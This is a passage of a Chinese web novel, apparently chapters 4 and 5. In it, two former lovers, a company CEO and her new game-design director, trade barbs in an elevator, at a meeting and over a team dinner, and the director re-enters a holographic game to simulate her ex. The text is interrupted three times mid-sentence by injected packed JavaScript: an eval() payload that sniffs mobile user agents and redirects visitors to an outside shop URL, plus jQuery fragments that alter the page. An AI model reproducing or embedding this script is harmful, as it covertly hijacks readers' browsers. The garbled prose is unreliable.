电梯从地下停车场往上,在一层停留的时间有些长,不断有人进来,总是先喊一声“祝总您在啊!”之后又对秦舒禾说:“哎!秦总监也在,早啊!”。
秦舒禾回以体面的微笑。
你们难道都是远视眼吗?我明明站在祝筠的前面。
祝筠的目光也随之看了过来,秦舒禾立刻收起了自己脸上的笑容。
几位和她们都打了招呼的下属员工面面相觑,感到了气氛似乎有点不对头。
秦总监和祝总怎么不站在一块?
秦总监那是在对祝总翻白眼吗?是吗?
这……她们认识?
还好电梯开始上升了。
才到了二楼,又进来一队人,手里又多拿着早餐,全都在往里面挤。秦舒禾被迫往后移动,这时一个体型壮硕的男人为了给最后还没进来的人腾地方,猛地往后退了一大步。
那人就在秦舒禾的前面,她躲闪不及,眼看着那个男人的后背就要撞上自己。
她下意识地更往后仰起脖子,微眯起了眼睛。
然而,撞击没有发生。
一只苍白修长的手伸了过来,撑在了她的耳边,替她阻挡了原本会到来的撞击。
熟悉的淡香已经萦绕在了她的鼻尖,秦舒禾转过头,看见了祝筠因为距离过近而清晰明显的长睫。
秦舒禾听不见周围的声音了。她只意识到一件事——
昨晚她把祝筠圈在自己怀里不让逃,今天被臂弯护住的人却换成了自己。
要不要这么巧?
相比之下,祝筠比自己像个人多了,因为她对自己没有直接的肢体接触,只是将自己护在了这个小空间里而已。
不像自己,又亲又抱又调戏。
可那独属于祝筠的香气和体温在源源不断地传来,存在感很高。
秦舒禾和祝筠的黑眸对视时,心跳很不争气地漏了一拍。
祝筠的眉头微微皱着,好像连自己都没反应过来就下意识做出了保护秦舒禾的动作。
“祝总,您没事吧!”
此刻旁人慌张喊着的声音让她的理智回笼,祝筠重新让自己冷静了下来,同时也退开了半步,重新回到了陌生人的社交距离。
那些因为靠近而带来的体温交融,也在顷刻间消失。
“电梯人多,”祝筠的手垂下来整理了一下袖口,声音平淡,“秦总监注意安全,穿高跟鞋更容易摔倒。”公事公办的语气,就是上级对下级。
秦舒禾:“……”
那一瞬间的心动戛然而止,像是被一簇刚重新复燃的火苗被冷水兜头浇下,冷的心都在打哆嗦。
祝筠就是这样的。
不管是在游戏里还是生活里,和自己的靠近失去了安全距离,她就会将自己退开。
秦舒禾深吸了一口气,脸上荡开了笑容,轻柔的声音转着勾,偏偏带着刺,“祝总倒是反应很快,平时都会这样护着自己下属?”
祝筠的脸色平静,只有垂在身侧的手指骨节微微泛白:“顺手而已。”
电梯里其他的员工都感觉到了气氛的突变,大气都不敢出一声,眼神也不敢乱晃 ,整个电梯里鸦雀无声。
电梯已上行到第十层,还未到一些人上班的部门楼层,可电梯门一停下,人人往外奔逃而去,原本还拥挤不堪的电梯在瞬间空了下来,只剩下了祝筠和秦舒禾。
宁肯爬楼,也绝对不参与总监和总裁的针锋相对之中。
祝筠和秦舒禾算是同行人,全息研发中心和总裁办紧邻,都在30楼。
秦舒禾还在心里咀嚼那顺手二字,实在很难忍住不去阴阳怪气祝筠一下。她拢了拢自己的大衣外套,啜饮着自己的咖啡,满脸的不痛快都写在脸上。
美人嗔怒,娇纵可实在美丽——哪怕知道此刻不应该,祝筠还是重新将视线落在了秦舒禾的脸上。
她已经有很长时间没这样好好地看过秦舒禾。
秦舒禾立即察觉到了祝筠的视线,扭头过去就要发作,视线却忽然顿在了祝筠的衬衫领口。
领口,开了。
可能是因为着急过来扶住秦舒禾,也可能是因为电梯里拥挤时的无意碰撞,让那原本紧绷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004680|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的真丝衬衫,敞开了一丝缝隙。
里面如珠如玉般的细腻肌肤正在若隐若现。
祝筠还没意识到。
秦舒禾这逐渐发烫的眼神,和昨晚在游戏里的那个十七岁的人一模一样。
宽敞的电梯轿厢也变得闷热几许,祝筠感到有些不适,她抬起手,想要主动去松掉一颗纽扣。
指尖碰到的瞬间,她意识到了什么,立即用指腹压住了那微敞的领口。
电梯里的灯光很亮,还有四面通透的镜子。
哪怕只是一瞬,秦舒禾也已经眼尖的看见,就在祝筠那白皙的锁骨之中偏下的地方,有一道细小的红痕。
祝筠的皮肤太白,以至于这道红痕过于明显刺眼,被她捕捉。
不像是刚刚碰出来的上班,像是被指甲划过,还是被人用力刮过还是被……吮吸后的暧昧红印?
指甲,拉链?
秦舒禾感觉自己像被人打了一拳,一瞬间就联想到了昨晚在游戏里自己叼着拉链划过的,也是那一片位置。
可那是游戏啊!
那是她模拟的祝筠数据,并非祝筠真人。
现实里的祝筠,那个始终遮挡着的地方,为什么会出现这样的痕迹。
一个荒谬的猜想钻入了秦舒禾的脑海,令她的呼吸有片刻的凝滞。
祝筠,外面有人了?
那人是否也和游戏里的自己一样的恶劣,热衷于将祝筠压在身下,用拉链、或是牙齿、还是舌尖,印下这些独属的标记。
她们分手已经三年多了,开启新生活没什么稀奇,一直等在原地才奇怪。
谁没有似的?
谁没有?
她没有。
秦舒禾只敢在游戏里对着祝筠做个变态,现实中寡的要死。谈过祝筠之后她不知道还能看的上谁啊。
谁等在原地!
啊!秦舒禾好想尖叫,小丑就是她自己。
“祝总。”秦舒禾的声音轻柔的过分,“你胸口好像受伤了,怎么?擦药了没有?”
她走了两步,主动来到了祝筠的身后。
祝筠的身体微僵。
她对秦舒禾言语中的审问恍若未闻,清晰能感觉到秦舒禾的呼吸轻轻洒在自己耳后的皮肤上,起了一阵敏感的鸡皮疙瘩。
全息舱遍布的传感器能够捕捉和同步传导玩家在游戏里的一切感受。
包括触碰。
游戏之外,她的身体同样的位置上也有一模一样的划痕,那是传感器在用安全细小电流模拟同样的效果,在皮肤下留下的。
祝筠还没有做好告诉秦舒禾自己昨晚也同时进入了副本的准备。
“只是不小心擦伤而已。”祝筠避重就轻地回答了。
秦舒禾发出了一声意味不明的轻笑。
谁会在那个地方不小心擦伤?骗她也不找个好点的借口。
30楼到了。
祝筠比秦舒禾更快地跨步走出。
秦舒禾慢慢地走进了办公室,刚坐下没多久门就被人敲了敲。
她说了请进也没人来,想到了什么才去开门。
门口,一个刚到她腰部的圆墩墩机器人说:“秦总监,祝总通知您十五分钟后开会,记得上班打卡。”
机器人的脑门上贴了两个猫耳朵,其中一个猫耳上还有个墨绿色蝴蝶结,秦舒禾这是祝筠个人的助手机器人惟久。
秦舒禾说:“她不能直接手机上说吗?还非得让你跑一趟?”
关键是她们同一楼层,总裁办公室和自己的办公室的直线距离不过多少,这么不想看见自己?
机器人惟久乖乖地回:“秦总监,您还没有加入公司内部通讯软件朝旭通,也没有将祝总的联系方式从黑名单拉出来,所以祝总不方便联系您。”
秦舒禾:“……”
哈。
祝筠什么时候发现自己把她拉黑的?
4. 体温
[朝旭通·惟久:待办事项—九点半全息研发中心会议室开会,程序部门,概念部门,全息研发部门需到~]
【何恬予:小久今天还是这么兢兢业业的到岗啊。】
【小舟:你们早上在电梯里碰见总监和祝总没有?她们是不是本来就认识的?】
【王晓生:优秀的人认识不是很正常吗?】
【小舟:不是那回事,你们是没看见早上在电梯里的那个场面,我熬到二十层不敢坐下去了,爬楼上来的……】
【夏黑葡萄:秦总监看祝总时的眼神比她手上的那杯冰美式还冷,不是祝总拍板要把秦总监高薪请来的嘛?说这可是全息研发中心的荣誉……】
【何恬予:真有这事?我没看到秦总监在群里。】
【惟久:入职的时候已经给秦总监发过入群邀请了,但是她好像还没开通。】
【惟久:因为也没有添加祝总的联系方式,所以今天开会还是我去通知的噢~】
群里忽然诡异地安静了一瞬。
惟久只是个不明白察言观色是什么的可怜小机器人,不知道自己泄露了什么信息。
【小舟:啊!秦总监来茶水间了!】
【祝筠:@何恬予惟久坏了,需要维修。】
“秦、秦总监。”小舟从手机里跳动的消息里抬眸,看着推门进来的靓丽女人。
明明是一身沉郁的黑,穿在秦舒禾的身上却一点儿也不显得闷,衣摆带着摇曳的香风,连带着茶水间都像被点亮了一般。
肖舟很敬佩秦舒禾每天的精致,公司里像是她的秀场,她的脸上似乎一点也看不出疲惫。
秦舒禾笑着对小舟点头,随手拿起纸杯洒了点茶叶,只接了一点儿热水,将那些红茶泡的舒展开。
浓郁的茶汤呈现深红棕色,秦舒禾晃了晃杯子,见泡的差不多,从制冰机里铲了一大杯的冰块咕嘟嘟倒进去。
肖舟看的目瞪口呆:“秦总监,不怕寒凉呐。”
秦舒禾说:“习惯了。”
她拿来的那杯冰美式已经喝完了,一会儿还得和祝筠开会,不拿点降火的去怎么行?
秦舒禾继续拿着杯子打热水准备接满,茶水间的门又被推开了。
肖舟一眼望过去差点晕厥,感觉空气瞬间变化,有些流不动了。
是祝筠。
她的手里拿着惯用的黑色保温杯,没显示什么牌子,看来也是准备在开会前装好热水。
看见祝筠来了,秦舒禾扯了扯嘴角,没打招呼。肖舟赶紧和祝筠打过招呼后尬笑了两声,准备急速开溜。
祝筠径直朝秦舒禾的方向走进来,秦舒禾没当回事,自己用杯子在接热水。
祝筠的视线停留在那满杯冰块上停留了一秒,上层碰到热水的冰块已经急速融化,混入了橙红色的茶汤里。
“ 祝总,接水吧。”秦舒禾对她偏了偏头,“我马上接好了。”
这意思就是让祝筠跟着她后头接。
祝筠收回视线,将杯盖拧开做好了准备。
秦舒禾准备拿走自己的杯子,祝筠的杯子紧随其后出现在了出水口,然后水流戛然而止。
“你还是自己来的好,怕把你烫伤。”秦舒禾和祝筠擦身而过,说话时的气息从下颌温柔地掠过,说出来的话却毫不留情面,“祝总有这么念旧吗,前任送的保温杯能用到现在?”
祝筠回头去看,秦舒禾已经带着她的那一杯满杯冰红茶推门离去,不带一丝留恋。
半小时后,何恬予有些头大,她用哀求的眼神看着会议室对面的两尊大佛,乞求两人别为难自己了。
会议一开始,说起全息游戏正式更名为《你与眼中世界》时还好好的,一到说起现在游戏里还需要改进的部分,秦舒禾和祝筠两个就开始意见不合。
祝筠说现在副本世界的探索线还不够完全,玩家们的自由度不够、剧情生成还有bug等。
秦舒禾主张bug不要全部修复,因为玩家们更多会有模拟恋爱的过程,所以目前应该先将恋爱剧情完善就好等。
于公于私,何恬予都觉得自己很苦。
于公,她认为两个人说的都很对,而且一个是拍板的老板,一个是游戏本来的研发者,两个的意见都得保留。
于私,她是祝筠的好友,知道两人以前在一起过,尴尬的很。
再于私,她昨晚上根本没睡好,十二点多祝筠还打个电话问她问题,还是非常莫名其妙的问题。
“现在我们已经做出来的四个副本是兰陵高中器材室,新世界囚笼,海底世界被人鱼藏住的珍珠蚌、毛茸茸也会网恋诈骗,还有后面十个要到公测后逐步放出。”
一会议室的人已经习惯了这种风格,面不改色。秦舒禾晃了晃已经空了上部分的杯子,她就知道自己得降火。
秦舒禾把自己昨晚上写的副本测试进度公布了一下,当然,她隐去了自己提取记忆,用祝筠的数据做了个npc的事。
秦舒禾现在很不爽,一个是昨晚上她的模拟确实失败了,可失败的原因她知道,并不是因为祝筠所说的副本出现了bug。
她要去亲祝筠一口,这属于玩家个人行为。
但是现在在会议室里,她没办法直白地将这些直接说出来。
秦舒禾:“我还是之前的看法,目前我测试的进度来看,剧情没有出现bug,如果产生了失败的结果,一般是玩家个人的行为导致。”
祝筠:“秦总监,请问你昨天模拟了什么?”
秦舒禾捏着自己的杯子,“这是我的私人内容,无法告知祝总。”
祝筠点头:“看来你也出现了失败的模拟结果。”
秦舒禾有一种祝筠在挑战自己的感觉。
她在外面让自己变得这么厉害,就是为了让自己有绝对掌控力,而不想让自己跟着别人走。
“祝总,全息舱提取的是玩家的记忆和潜意识,所以会出现的所有剧情风格和走向,都是源于玩家。越是害怕失败,才越会出现那个结果,这一点你可以问技术部。”
技术部·何恬予:能别问我吗?
祝筠的眼神落在了秦舒禾的身上,又移到了秦舒禾已经快喝空的杯子上。
杯沿的同一个地方印着一个红色的唇印,淡淡的,也是柔软的。
秦舒禾的唇印比她的嘴都软的多,而她这一个batter时就要狂喝冰水的老习惯更是半分未改。
秦舒禾浑身警惕,觉得祝筠肯定是憋着什么话来反驳自己,不想祝筠只是问了两个字:“是吗?”
是吗?
秦舒禾怔住了。
说其他玩家的时候带入的立场不同,忘记了自己也是个玩家。
因为她之前从来没有让记忆里的祝筠参与过自己的模拟。
她的失败是因为知道自己和祝筠已经分道扬镳,所以潜意识里就不会让自己和祝筠走向好的结局?
秦舒禾被戳的心里有点痛,一言不发,回过神来之后就盯着祝筠看。就像以前她们有争执的那样。
她以前嘴笨,很不会吵架的,只会红着眼睛这样盯着祝筠看,只要祝筠再多说一个字,她的眼泪就会掉下来。
以前次次都奏效。
“今天的早会就到这里。”祝筠收回了自己的目光,只留给秦舒禾一个冷淡的侧颜,“秦总监,如果你在测试完之后觉得没问题,就按你说的做。”
这次也不例外。
但秦舒禾心情并没有好起来。
这股不知从哪来的闷气一直延续到下午,她加入了朝旭通注册账户后,就收到了聚餐的消息。
部门传统罢了,秦舒禾这刚入职,又是从国外拿奖回来的,可不得给她接风洗尘。
消息还是祝筠亲自带到的。
秦舒禾带刺地回了一声:【你去吗?】
祝筠:【会去。】
她都不用当然。
同样是两个字,如果发来的是当然两个字,秦舒禾就会觉得祝筠的语气雀跃的多。
从早上惟久来找她到现在,她和祝筠也没聊过微信拉黑的事。既然祝筠不讲,秦舒禾也装作不知道。
反正她和祝筠已经分手了没错,除了工作什么交集都不要有。
下了班就当她死了。
秦舒禾上班的内容类似,一样就是完善副本世界。但是上班的时候,她不会使用自己的管理员账号。
随便写了几个改进点,到下班时间了。
聚餐的地方就在公司附近,秦舒禾自己开了车过来,顺便就捎上了部门的另外三个同事。
秦舒禾奇怪地看着后面的三人:“你们没有人坐前面吗?”
后面分别是小舟、王晓生和夏陶陶。虽然她后座也不窄,但何必三个人在后面挤。
认生,还是认生。
秦舒禾猜想是因为和自己不熟才没好意思坐副驾。
开到公司门口,刚好见了正在路边看着手机的何恬予。
“何主管何主管!秦总监,我们可以一路把何主管捎上。”夏陶陶热心地说。
其实秦舒禾并没有捎上何恬予的准备,她知道何恬予有八成可能在等祝筠的车。但后边都这么说了,她还是把车停了下来。
“走吗?”她摇下车窗。
何恬予勉强笑了下,把手机丢入口袋里,被迫坐上了副驾驶:“麻烦了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004681|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦舒禾:“客气什么。”
何恬予浑身刺挠。
在何恬予上车之后,除了何恬予自己,后座的氛围却是好了不少,小舟问起来:“秦总监您有什么喜欢的口味?”
“川菜,我个人口味偏辣一点,不辣的也能吃。”
王晓生:“啊!那可巧了,聚餐的地方川菜系做的可好了,祝总是常客。”
秦舒禾挑了一下眉:“祝总经常在外面和人聚餐?”
看来她离开的这几年里,祝筠照样活得潇洒自在。
夏陶陶:“不是不是,那家店环境好,而且消费挺高,祝总是自己常在那吃,我们还是第一次选在那吃饭,肯定是沾了秦总监的面子。”
秦舒禾笑了笑:“有这回事吗?何主管。”
何恬予闭了闭眼,心想毁灭吧。
她就像一个父母离婚后不知道跟谁的孩子,彷徨无助。
还好地方近,很快就到了。秦舒禾打头推开了包厢的门,发现祝筠竟然已经到了。
敢情这人早就溜了。
包厢里温度很高,她脱下了大衣去挂好的功夫,其他人均已落座。秦舒禾再转头一看,发现只有祝筠的旁边和对面有个空位。
何恬予也还没坐,在等她选择。
她毫不犹豫地在所有人的注目礼之下,选择了在对面坐下。一抬眸,就在转桌中心错落的花枝之间看见祝筠流转的眸光。
像蝴蝶振翅一样轻,在眨动间一下又一下地在她的身上煽动,轻易地卷起秦舒禾心中的涟漪。
祝筠眸中的失落快得像是错觉,秦舒禾开始疑心自己是不是太过火,开口解释了一下:“里面有些热,坐这舒服点。”
祝筠:“我不知道秦总监现在这么怕热。”
秦舒禾捏起筷子,瓮声瓮气地回:“祝总不知道吧,您其实是个火炉。”
她承认自己故意的,祝筠应该知道自己说的是什么。祝筠的体温比她高一点,冬天的时候她喜欢蹭到祝筠的怀里睡。一冷起来,必然把自己的手放在祝筠的衣服里取暖。
真的很神奇,表面如此冷淡的人,身体那样暖意融融,连冰山都能化作一滩柔水。
两人你来我回看着没再针锋相对,菜也送了过来,席间开始恢复热络,肖舟好奇地问:“秦总监,你和祝总以前就认识吗?”
桌上的转盘正在缓慢旋转,恰巧将秦舒禾想吃的水煮鱼片和翠绿嫩生的炒豌豆苗送了过来。
秦舒禾用公筷夹到碗里,回答:“只是同学而已。”
同校毕业后她开始工作,而祝筠留在了本校读研,再到后来她们分开,秦舒禾出国。
她和祝筠到了大三才在一起,她很珍惜两人的关系,可最后分开的却很轻易。
没有狗血的缘由,两人的步调逐渐变化,已经不再是同频的恋人,只能成为一起走过一段路的记忆。
工作后的她重心仍旧在祝筠的身上,可祝筠一边忙于学业,一边又要创业,忙得脚不沾地。秦舒禾太想去好好珍视祝筠了,她习惯了用祝筠来填补自己的空心,腻歪着祝筠,贴着祝筠,觉得只要祝筠在身边才是最紧要的事。
就像祝筠的体温,已是她在冬天自然而然连带的记忆一样。
不知从何时起,这份记忆开始断裂了。
有时她起来上班,祝筠已经提前离开。等到她下班入睡,祝筠还没回来。秦舒禾知道祝筠忙,她从一开始还会在争吵时红着眼睛看向祝筠,等着祝筠来哄自己,到眨了两下眼睛发现一片干涩,毫无泪意。
祝筠不在,她过得浑浑噩噩的。
可祝筠不一样,她的创业项目已经走向正轨,常用无奈又冷静的语气对秦舒禾说她该有自己的生活。
秦舒禾走了。她终于明白祝筠需要的不是自己这样的人,也不吃亲亲抱抱这一套。
祝筠不吃这一套,她在心里重复。
秦舒禾拿了一杯鸡尾酒,转盘被她的指尖一送,又开始转动起来,转瞬就来到了祝筠的面前。
从秦舒禾回答了那句话之后,祝筠就没再开口,秦舒禾就当她的沉默是默认。
很好,彼此都不想让其他人知道她们有过的那一段。
在这一点上,她们很默契。
就在祝筠正要拿起公筷夹菜时,转盘的速度加快了一瞬,菜碟从她的面前溜走。
抬眸,便见到秦舒禾狡黠的双眸,像个得逞了的小狐狸。
祝筠抬手拿酒。
转盘更快。
“祝总过敏了,今天就别喝酒了。”秦舒禾对着祝筠摇晃了一下酒杯,另一只手的指尖在自己领口的位置比划了一下,才扬了扬下巴,“祝总,你说呢?”
5. 体操垫
领导倒茶她关水,领导夹菜她转桌。
领导想喝她还不给喝。
她就是新时代的打工人,祝筠的克星,桀骜不驯的部下:秦舒禾。
在略显奇妙的对视中,何恬予多余地开了一句口:“原来你过敏啊?”那搞得这么煞有其事,何恬予还以为祝筠有多想喝两口来着。
或许秦舒禾自己都还没意识到,她在祝筠的面前还是保持着一份任性。
哪怕她有资本有能力在公司横行霸道。
但是敢在祝筠面前这样的人,全公司也就她一个了。
也因此,饭桌上其他的员工全都摸不着头脑,不知道秦舒禾到底是在关心祝总,还是在意有所指。
她们比秦舒禾进公司要早,自然知道祝筠不是酒精过敏的人。
未曾想,祝筠迎上秦舒禾的目光凝视了片刻,像是败下阵来,淡声开口:“那不喝了。”
她端起自己的茶杯,隔着转桌的距离对着秦舒禾遥遥举起来:“恭喜你入职,秦总监。”
其他人才醒过来一样,也跟着热络地说起漂亮话来,微妙凝滞的气氛被打破。
秦舒禾弯唇一笑,对着祝筠抬了下手,举杯饮尽。
她一喝完,垂眸的余光里就发现,适当的下酒菜和清口的时蔬又已经转到了自己的面前,就和长眼睛了似的。
这次她看清了,祝筠的指尖正压在木质转桌的边缘未来得及收回。
秦舒禾的心酸了一下,不知是不是刚才的下肚的酒精作祟,连带着她的五脏六腑都泛起一股酸意,她又吃了两口菜才压下去。
她们都已经分开这么长时间了,祝筠还保留着餐桌上默默照顾她的小习惯,可秦舒禾想到今早在祝筠的身上看见的暧昧红痕,心情怎么也轻快不起来。
是那个人吗?享受了这些年祝筠的照顾吗。
都说现任身上那些让人心动的痕迹与行为,离不开前任的调教与眼泪。
前人栽树,后人乘凉。
她和祝筠刚在一起的那段时间,都是第一回谈恋爱,谁也不能马上就做到尽善尽美。秦舒禾那时候很小心翼翼,哪怕不开心都不会直言。想要祝筠也能来接自己下课,想要祝筠和自己一起吃饭,想让祝筠能多一点纵容。
……
哪怕同系,她和祝筠的课表不同,并不经常碰在一起。
祝筠始终是佼佼者,除去必要通讯,她甚至可以连手机都不怎么使用。秦舒禾和祝筠一同吃饭,祝筠会管着她的营养搭配,勒令秦舒禾不要摄入垃圾食品。
哪怕是夏季,也让秦舒禾喝温水;祝筠说秦舒禾的教学楼离校外更近,自己出去也能更快吃上饭,不需再等来等去。
祝筠说的都对。
可秦舒禾要的不是这些,她要当的是祝筠的女朋友,而不是祝筠的部下,像绝对执行命令的下属。
现在她真成祝筠的下属了,祝筠却对她的容忍度拉到了最满。
改变是什么呢?她不再对祝筠毫无底线,自己手上拿着现象级的项目,自身变得优秀了之后,连祝筠都要对她高看一眼。
秦舒禾心里苦得很,酒却喝的很快,甘甜入腹浇愁,全成了胃里的翻腾。
那些年她在被祝筠管着的时候,身体还是很好的。
现在确实大不如前了。
酒足饭饱,气氛松弛了起来。秦舒禾离开去洗手间,站起来时捏着椅背的指骨微微泛白。
何恬予注意到了,这个时候显然谁跟去都不太合适,她正要准备转头说两句,身边人已经迅速站了起来,自然而然地捞起了衣架上秦舒禾的大衣,跟了出去。
何恬予摸了摸下巴:“还真是开窍了……”
秦舒禾洗了把脸,冰凉的水珠沿着额角滴落。外面的温度比包厢里凉很多,她的身体开始感觉到后知后觉的瑟缩。
身后传来脚步声,秦舒禾回头,看见了臂弯里抱着自己大衣的祝筠。
廊灯打在祝筠高挑的身形上,落满了柔软的光晕。一团阴影隐没在祝筠的眉骨之下,勾勒着她出众的眉眼。
此刻站在面前的祝筠,仍旧让秦舒禾心生感叹真美。
祝筠一贯的严谨自律,所以身段也很好。不说话地站在那里也像一幅画一样,秦舒禾认为祝筠真的十分适合替人拿衣服、拿包。
有一种克制隐忍的美感,上位者爆发前的宁静就是如此迷人。
她的眼神也像是藏匿着什么,昏暗晦涩,秦舒禾看不真切。
秦舒禾一声不吭,只是对着祝筠勾了勾手,随即身体往后微微一靠,张开了双臂,等着祝筠帮自己将衣服披上。
她的双腿裹在微透的黑色丝袜之下,匀称饱满的线条如一颗温热的水滴,伸手一戳就要绽出汁水来。高跟长靴轻轻在地上一点,让这滴温热的水滴顺势烧到了祝筠的心里。
在外面多年,秦舒禾的穿衣风格也变化了许多……大胆,精致,是很适合她的风格。祝筠将视线从秦舒禾的身体上移开,走过去。
秦舒禾适当的侧身,让祝筠更为方便的为她披上衣服,动作娴熟而自然,似乎已经很习惯被人这样照顾。
是谁在照顾着她?
如瀑的微卷长发被遮在了衣服下,秦舒禾只是动了一下肩膀,祝筠便将她的长发拢在手中,从大衣里拿出来,再披好拨散开。
秦舒禾白皙的后颈与漂亮如玉的耳廓一晃而过,耳后那颗小小的红痣也随之出现在祝筠的视野里,被秦舒禾耳骨上的钻石耳扣藏着,要露不露的勾人。
润亮的发丝被灯光落下光晕,也将祝筠自己的心思照的透亮无疑。
这么些年,是否也有人像自己这样,在混乱的晨昏里吻过这里。
祝筠的长睫微垂,被自己心底的冒出的这个念头逼得皱眉,她按捺住自己心底涌出的酸意,为秦舒禾整理完就不再触碰。
“谢谢。”秦舒禾说,“祝总现在怎么变得这么贴心,还知道替自己的下属送衣服来。”
“你不用对我这样说话。”祝筠微蹙了下眉,“舒禾。”
“担待不起,我和祝总也不是那种能放松说话的关系吧。”秦舒禾的视线从祝筠的脸上滑下,落在祝筠的领口片刻,往外走去。
擦身而过时,秦舒禾似乎已经料到了祝筠的动作,将手臂往上一缩。
祝筠想去拉她手腕的动作扑了个空,脸上虽然还是平静的样子,可周身的气息已经不自觉冷下来。
秦舒禾顿住步子,却没有回头,声音清凌凌的,“您请自重,祝总。”
一口一个祝总,界限划得分明。
秦舒禾走的干脆利落,高跟鞋踩在地面的声音清脆又稳当。
人是回来了,可祝筠知道,秦舒禾的心不会再在自己这里了。
秦舒禾和祝筠二人一前一后地回来了。
旁人看不出门道,何恬予却看出来两人的氛围又降至了冰点,秦舒禾回来后能谈笑风生,祝筠却一言不发。
何恬予有些痛心疾首,哎,何必。
到了要走时,自然是没喝酒的同事来负责开车送喝酒的走。三三两两的都安排好后,刚好只剩下何恬予、祝筠和秦舒禾三个。
何恬予和祝筠都滴酒未沾。
见秦舒禾的视线落到自己的身上,何恬予头皮一阵发麻:“我……”
祝筠也看了过来,何恬予把话咽了下去:“不如让祝筠送你。”
秦舒禾慢悠悠地站起来:“你们回吧,我叫代驾。”
祝筠说:“阿予,你送秦总监,我回去开车。”
秦舒禾:“也行。”
何恬予:……父母吵架孩子遭殃。
秦舒禾的态度摆的明明白白,就是不想让祝筠送,愣是要和祝筠在下班之后划清楚界限。
连前任的身份都不给,就是个还处于陌生状态的上司。
秦舒禾这些年酒量见长,虽然喝喝得多,也不影响她现在的状态清明。拎着包直接掠过了祝筠,把车钥匙丢给何恬予:“走啊甜甜,等谁呢。”
祖宗,我还能等谁呢?当然是等另外一个祖宗了。
何恬予看向另一位站着不动的祖宗,后者对她点点头,示意她先跟上秦舒禾。
何恬予只好照做,屁颠屁颠跑去,开车送秦舒禾回去。
“小禾,你俩的关系没必要弄得那么僵。”何恬予本着良心劝了一句,外面流光四色的树枝灯串掠过秦舒禾的眼底,车窗上印着她那张不为所动的双眸。
秦舒禾:“你想说什么?”
“没有,就是告诉你,其实祝筠她今晚上本来就没开车来,应该就是想着能帮你开车。”
秦舒禾轻笑了一声:“你不会是想说我们还要可能符合吧?”
何恬予没吭声,心说这也是不一定的事啊,谁说的准呢?
秦舒禾突然问:“你觉得祝筠还喜欢我?”
何恬予哽了一下:“这种事要你自己去问她比较好。”她哪敢在中间传话。
秦舒禾没笑了,声音淡淡的:“没必要。”
回到家的秦舒禾直接进卧室洗了个澡,洗净了一身冷寒的酒气,又给自己抹上身体乳,整个人就像在花瓣里泡过了一样的香,还有奶味的后调。
她就喜欢这样存在感强烈的香气,曾经让自己默默无闻太久,导致有能力了之后就开始疯狂地弥补自己。
不像祝筠,用的都是淡香,可她那个人存在感就很强,往身上堆不堆东西都照样那么出色。
等待身体乳完全吸收的空档,秦舒禾站在全身镜前,静静地审视着自己的身体。
五官,胸腰,双腿。
胸口前有一些涂多了的乳色身体乳,秦舒禾张开手指去抹匀,指尖偶尔戳进温热的起伏里,她却毫无感觉。
同样是擦身体乳,为什么让祝筠来帮忙的时候,哪里都没碰到还会有那么强烈的感觉?
秦舒禾不解地皱起眉,回忆起以前刚住在一起时,她常常缠着祝筠,让她帮自己吹头发,抹身体乳。
祝筠向来稳重自矜,并不是个纵欲的人,哪怕让她帮忙擦身体乳,她的手指从来不会游移到另外的地方。
可是擦身体乳的时候坦诚相对,秦舒禾的身上没有任何的遮挡,不论是从前还是从后方,祝筠的手指触及到的细腻之下,都会引发一阵难以控制的颤栗。
祝筠明明很什么都没做,秦舒禾却感觉自己已经快融化在她的手上。
抹个身体乳而已,总是让秦舒禾呼吸不畅,忍不住发出细小的喘*息。
可她一次一次地喜爱这项睡前活动,并且为之着迷,秦舒禾喜欢看那个时刻祝筠的松动、又忍耐的神情。
身体乳干了,秦舒禾套上了一条长裙,手机里传来了消息提醒。
何恬予:【祝筠到了。你什么时候能把她加回来?】
秦舒禾:【下班之后不谈公事。】
回完消息,秦舒禾立刻躺进了全息舱里。
熟悉的系统声音出现:【欢迎登入游戏《你与眼中世界》,管理员001号。】
【目前测试副本:兰陵中学的器材室,可回溯。是否回溯?】
“是。”
【正在回溯,正在接入NPC,祝筠。】
【检测到您体内酒精浓度超标,本次为您随机生成属性:[胆大包天(什么?你问我胆大包天是什么?当然是除了学习的事你什么都敢做!)]
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004682|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
】
秦舒禾:“……”
这自由度还不够?她看祝筠根本没有深度体验过自己的这款游戏才会有这种说法。
同时,祝筠的npc形象也出现在她的面前,秦舒禾一如既往地捏了捏面前祝筠的脸,再一次喃喃:“很逼真啊……”
如果现实中的祝筠也能任自己搓圆捏扁还只会脸红红地黏着自己该多好。
白光盛满视野,秦舒禾再睁开眼睛的时候,又一次来到了熟悉的地点。
昏暗狭窄的柜子容纳了两人的体温,暧昧不清。
